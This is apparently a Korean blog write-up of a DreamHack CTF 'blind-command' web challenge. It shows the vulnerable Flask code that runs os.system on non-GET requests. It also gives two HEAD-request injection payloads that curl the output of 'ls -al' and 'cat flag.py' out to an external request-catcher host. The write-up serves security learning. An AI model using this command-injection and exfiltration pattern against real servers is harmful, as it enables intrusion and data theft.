웹해킹 커리에 새로 추가된 blind-command 문제
먼저 사이트부터 들어가보면 위와 같이 나와있고 cmd로 명령어를 입력하면 실행되지 않고 그대로 뱉어내는 것을 볼 수 있다. 우선 코드부터 확인해야 할 듯 하다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
코드는 생각보다 매우 간단한데, 디폴트로 페이지에 ?cmd=[cmd] 문구가 뜨며 GET 메소드로 인자를 받는다면 공백으로 처리되고 아니라면 cmd 명령어를 시스템에서 실행할 수 있다.
버프 스위트를 이용하여 OPTIONS 메소드를 통해서 서버에서 허용되는 메소드를 확인해보았다.
앞서 코드에서 GET 메소드가 아니면 cmd의 파라미터 값을 system 명령어로 실행시키는 것을 확인했으니 GET도 제외하면 오직 HEAD 메소드 밖에 남지 않는것을 알 수 있다.
HEAD도 GET 처럼 파라미터를 전송할 수는 있지만 응답에는 헤더만 포함되기 때문에(response의 body 부분 확인 불가) 웹 상에서 응답을 기대할 수 없음
따라서 드림핵 툴즈로 임시 서버를 생성하여 해당 서버로 flag.txt 값을 불러와야 할 것이다!
request 에서 HEAD로 바꿔주고 다음 코드를 삽입하여 전송하였더니 위와 같이 ls -al의 결과가 떴고 flag.py의 존재도 확인할 수 있었다.
/?cmd=curl+https://pmfjava.request.dreamhack.games+-d+"$(ls+-al)"
뒷 부분만 cat flag.py로 바꿔주니 바로 플래그를 출력하는 모습
/?cmd=curl+https://pmfjava.request.dreamhack.games+-d+"$(cat+flag.py)"
근데 버프 스위트가 이상한건지 드림핵 툴즈가 이상한건지 항상 바로바로 값이 나오지 않는 점이 조금 짜증난다...
이런 쉬운 문제도 버프 스위트로 조작해서 보내려면 한 세번은 forward 해줘야 겨우 한 두번 먹힐까 말까해서 버프 스위트 쓰는 문제는 피하고 싶음..
'Web Hacking' 카테고리의 다른 글
[WEB] Burp Suite(버프 스위트) 설치 및 환경 설정 방법 (v. 2024.11.02) (0) | 2024.12.21 |
---|---|
[WEB] 네트워크 경유 서버 취약점 및 공격 과정 (0) | 2024.12.02 |
[WEB] DreamHack Web Hacking 커리 모두 학습 완료!🎉 (0) | 2024.11.16 |
[WEB] Exploiting DOM clobbering to enable XSS 풀이 (0) | 2024.07.23 |
[WEB] DOM XSS using web messages and a JavaScript URL 풀이 (0) | 2024.07.23 |